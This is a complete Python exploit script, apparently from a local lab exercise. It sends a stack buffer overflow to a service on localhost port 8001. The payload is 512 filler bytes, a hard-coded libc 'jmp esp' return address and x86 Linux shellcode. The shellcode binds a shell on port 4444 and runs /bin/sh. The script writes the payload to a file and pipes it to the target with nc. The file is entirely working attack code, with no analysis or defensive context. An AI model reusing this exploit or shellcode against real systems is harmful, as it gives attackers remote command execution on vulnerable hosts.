#!/usr/bin/env python
# coding: UTF-8
import sys
import struct
import os

shellcode =  ""
shellcode += "\x6a\x66\x58\x31\xdb\x43\x31\xc9\x51\x6a"
shellcode += "\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a"
shellcode += "\x66\x58\x43\x31\xc9\x51\x66\x68\x11\x5c"
shellcode += "\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89"
shellcode += "\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x04"
shellcode += "\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x31"
shellcode += "\xc9\x51\x51\x56\x89\xe1\xcd\x80\x89\xc3"
shellcode += "\x6a\x3f\x58\x31\xc9\xcd\x80\xb0\x3f\x41"
shellcode += "\xcd\x80\xb0\x3f\x41\xcd\x80\x31\xc9\x31"
shellcode += "\xc0\x51\x89\xe2\x68\x2f\x73\x68\x41\x68"
shellcode += "\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3"
shellcode += "\x51\x53\x89\xe1\xb0\x0b\xcd\x80"

dummy = "A" * (512)

retAddr = int("0xb7e14a85",16)	#jmp esp /lib/i386-linux-gnu/libc-2.19.so

buf = dummy + struct.pack('<I', retAddr) + shellcode + "\r\n\r\n"

f = open("exploit.bin","wb")
f.write(buf)
f.close()

os.system("nc localhost 8001 < exploit.bin")
